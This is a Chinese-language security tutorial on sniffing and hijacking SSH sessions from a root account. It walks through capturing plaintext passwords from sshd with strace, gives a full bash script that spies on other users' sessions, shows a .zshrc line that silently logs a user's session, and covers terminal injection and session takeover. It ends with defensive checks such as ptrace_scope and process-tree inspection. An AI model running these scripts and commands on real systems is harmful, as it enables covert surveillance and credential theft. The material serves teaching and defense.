什么是SSH会话嗅探?
SSH 会话嗅探通常涉及附加到一个 SSH 进程并拦截正在调用的系统调用,例如从键盘上读取按键,在控制台打印出字符的系统调用等。
使用 Strace 工具,我们就可以附加到一个进程上;这是一个强大的诊断和调试工具。同时,Strace 还可以跟踪一个特定进程产生或接收的系统调用和信号。
嗅探SSH明文密码
在我们登录 SSH 服务时,我们知道 SSH 是通过加密传输的,那么我们是否可以通过 SSH 以明文形式获取某人的密码?是的!当 SSH 的目的防止这种情况发生时,这是没有意义的(因为该行为是直接从用户连接的服务器监控会话,而不是通过网络 @_@)。因此尽管通过网络的流量是加密的,但在服务器端,sshd 将 fork 出一个子进程,在解密过程中密码是可读的。这是 sshd 的一个已知功能,并不是一个新鲜点了,故我们可以通过 strace 工具对该 sshd 进程进行嗅探。
此处为了安全演示,故在本地虚拟机中进行,虚拟机需安装 strace 工具,且 SSH 允许密码验证登录。
首先,让我们找到确切的 sshd 的 pid 号,此处可以尝试使用如下命令获取最旧的 pid 号:
[kali@kali ~]$ pgrep -l sshd
788 sshd
1037 sshd
1063 sshd
[kali@kali ~]$
接下来在测试服务器上,运行 strace 并使用 -p
参数指定 sshd 的 pid 号,使用 -f
参数监视所有子进程,使用 -e
跟踪所需的系统调用(可用的选项是trace=open,close,read,write);当然,为了更好的分析,此处也可以指定 -o
参数将 strace 捕获的内容保存到自定义的文件中。
其测试命令如下:
[kali@kali ~]$ sudo strace -f -p 788 -e trace=write
现在,从我们的测试机器上新开一个远程登录窗口,成功登录 ssh 后并立即退出,然后在运行 strace 命令的窗口使用 Ctrl+C 停止进程并查看捕获的数据,此时即可看到明文的 ssh 登录密码,如图所示:
这种方法,本质即是通过使用 strace 来捕获目标 SSH 进程正在调用的 write() API。那么,既然 strace 可以捕获系统进程的调用,那么,可不可以从事 ssh 的间谍活动,不知不觉监听其它用户的操作呢?答案是可以的!下面我们可以通过一个示例进行简单演示。
使用strace进行SSH间谍活动
下面的这个脚本,即可帮助我们实现这个方式,从而获取其它用户的操作:
#!/bin/bash
trap 'rm -f -- ${tmpfile}; exit' INT
tmpfile="/tmp/$RANDOM$$$RANDOM"
pgrep -a -f '^ssh ' | while read pid a; do echo "OUTBOUND $a $pid"; done >${tmpfile}
pgrep -a -f '^sshd: .*@' | while read pid a; do
tty="${a##*@}"
from="`w | grep ${tty} | awk '{print $3}'`"
echo "INBOUND $a (from $from) $pid"
done >>${tmpfile}
IFS=$'\n'; select opt in `cat ${tmpfile}`; do
rm -f -- ${tmpfile}
pid="${opt##* }"
wfd="[0-9]"
rfd="[0-9]"
strace -e read,write -xx -s 9999999 -p ${pid} 2>&1 | while read -r a; do
if [[ "${a:0:10}" =~ ^write\(${wfd}, ]] \
&& [ ${#wfd} -le 3 ] \
&& ! [[ "$a" =~ \ =\ 1$ ]]; then
echo -en "`cut -d'"' -f2 <<<${a}`"
elif [[ "${a:0:10}" =~ ^read\(${rfd}, ]] \
&& [ ${#rfd} -le 3 ]; then
echo -en "`cut -d'"' -f2 <<<${a}`"
elif [[ "$a" =~ ^read\((${rfd}+),.*\ =\ [1-9]$ ]]; then
fd="${BASH_REMATCH[1]}"
if [[ "$a" =~ \ =\ 1$ ]]; then
rfd="$fd"
fi
elif [[ "${a:0:10}" =~ ^write\((${wfd}+), ]] \
&& [ ${#wfd} -gt 4 ]; then
fd="${BASH_REMATCH[1]}"
if [[ "${a}" =~ \\x00 ]]; then continue; fi
if [[ "${a}" =~ \ =\ 1$ ]] || [[ "${a}" =~ \"\\x0d\\x0a ]]; then
wfd="$fd"
fi
fi
done
echo ">> SSH session ($opt) closed"
exit 0
done
将上述脚本保存并运行,选择一个 pts/tty 的终端监听,此时对应监听的终端用户操作在你这儿一幕了然,被窥探用户的每一步的操作在你这儿皆完美呈现:
此处我们借助了 strace 工具,那么还有没有其它方法对其进行嗅探呢?有!下面再来个 script 工具再给大家演示一个。
不使用strace的SSH间谍活动
在不使用 strace 工具下我们还可以使用 script 工具代替。这里唯一的限制是,它必须事先设置好,也就是说,它对现有的(正在进行的)SSH 会话是不起作用的。
我们在设置前,可以事先查看一下 /etc/passwd
文件中对应用户的终端,由下图第一个命令可见我们目标用户 kali 的终端是 zsh,故我们需要写入用户家目录的 .zshrc
配置文件中,使得用户登录后初始化环境时即执行相关命令,其命令如下:
echo 'exec script -a -f -q -c /bin/bash ~/.ssh.log' >>/home/kali/.zshrc
当 kali 用户下次登录系统时,他的整个 SSH 会话将被记录在他的 $HOME/.ssh.log
文件中。然后,我们就可以窥探他的 SSH 会话了,例如借助于 tail 工具,其效果如下:
虽然这不是一个非常隐蔽的技术,但有时它也能够派上用场。例如,打算建立 SSH 蜜罐的时候。
向控制台注入字符
这个方法并不涉及滥用 SSH 进程本身,但值得注意的是,root 用户(或 tty 组中的任何人)可以使用简单的 echo 命令向任何控制台(或伪终端)注入任意的字符。举个栗子:
上图可看到,受害者控制台可以看到其它用户对它的注入内容。如果不知道有哪些终端,可以使用 w
或 who
命令查看。
该方法若向正在进行 SSH 会话的控制台注入字符并与 SSH 间谍和键盘记录技术一起使用,以便从毫无戒心的用户那里获取密码或证书。终端是一种有趣的东西,我们不应该盲目地相信我们所看到的一切。
接管SSH会话
下面这个,不仅仅局限在监听 ssh 会话了,而是接管用户的 ssh 会话!他人的会话终端,你做主!(Sorry 啦, root 用户真的可以为所欲为~)
废话不多说,此处我们可以直接使用由 nopernik 创建的 SSHPry2.0 项目进行相关操作,其项目地址如下:
将对应脚本下载至本地,然后根据帮助命令去执行相关命令,即可控制对应的终端,此时,被控制的终端,你可以对其执行它权限范围内的任何操作!如下图:
此处在测试时发现,使用该工具可以控制对应终端,但是无法浏览你控制的终端的内容,那么此处,就可以和上述的 SSH 间谍活动小节联动起来,进行相关操作:
到这里,这才算是一个真正的终极演示,展示了 SSH 会话如何被恶意管理员滥用,以及为什么我们应该在共享服务器上使用 SSH 时保持警惕。
对SSH嗅探的防御小技巧
此处对上述的相关测试分享一些简单的防御小技巧。
检查ptrace是否被启用
一旦你通过 SSH 登录到一个系统,应该立即检查该系统上是否启用了 ptrace 功能。Ptrace 在大多数系统上都是默认启用的,但生产系统很少需要使用调试工具,一般建议在生产模式的系统上禁用任何与 ptrace 有关的功能。
检查方法如下:
sysctl kernel.yama.ptrace_scope
如果你看到的不是 3 ,就意味着系统上启用了 trace( 3 意味着禁用)。
尝试用ptrace跟踪自己的进程
ptrace 的特性决定了它一次只能跟踪一个观察对象。您不能同时附加到一个进程上两次,这是我们可以用来确定是否有人附加到我们的进程上的方法。
下面使用 strace 跟踪自己的 SSH 进程为例:
[root@kali ~]# ps axwwf | grep -B2 $$
7904 ? Ss 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
7909 ? Ss 0:00 \_ sshd: root@pts/3
7935 pts/3 Ss 0:00 \_ -zsh
7982 pts/3 R+ 0:00 \_ ps axwwf
7983 pts/3 S+ 0:00 \_ grep --color=auto -B2 7935
[root@kali ~]# strace -e none -p 7909
strace: Process 7909 attached
上述命令可以看到我们的 strace 命令可以正常的附加到这个进程上面。如果你看到像下面这样的错误,而且你是以 root 用户身份登录的,那么很可能有人在监视你:
strace: attach: ptrace(PTRACE_SEIZE, 7909): Operation not permitted
此处需注意,由于某些原因,如果你以普通(非 root )用户的身份尝试,会看到同样的错误,所以这个方法只有在你是 root 用户时才真正有效。一般来说,如果你能用 strace 成功地附加到你的任何进程上,就可以认为没有其他人在用 strace 监视相应的进程。
检查进程列表
通过检查流程列表树,我们可以发现 SSH 会话是否存在可疑的情况。例如,如果我们看到像下面这样的进程列表,我们可以假设我们的会话正在被 script 工具所记录:
[kali@kali ~]$ ps axwwf | grep -B2 $$
7539 ? S 0:00 \_ sshd: kali@pts/2
7540 pts/2 Ss+ 0:00 \_ script -a -f -q -c /bin/bash /home/kali/.ssh.log
7556 pts/5 Ss 0:00 \_ /bin/bash
7595 pts/5 R+ 0:00 \_ ps axwwf
7596 pts/5 S+ 0:00 \_ grep --color=auto -B2 7556
可以看到在 sshd 进程之后我们的 shell 之前存在一个 script 命令,通常情况下,在 sshd 进程和 shell 进程之间没有其他进程,那么你可以安全地认为该 SSH 会话没有被记录。
注意,在 Linux 上,有一些方法可以从进程列表中隐藏和替换程序名称(包括参数),所以不要总是指望它。一个这样的例子是 zap-args ,它可以用 LD_PRELOAD 方法来实现上面的目的,此处暂不概述。
忠言逆耳
在此处,当你连接到一个你不能完全控制的系统时,你永远不可能做到真正安全,这是千真万确的。同时,你也可能永远都无法检测到是否有人在监视你。这是不可能的,特别是考虑到 LKM(可加载内核模块),因为它允许一个恶意的管理员为所欲为。因此,上述方法只能作为参考借鉴,不要指望能成为灵丹妙药。即使上面的所有步骤都告诉你是安全的,也不要认为万事大吉。在一个你无法完全掌控的服务器上,任何事情都有可能。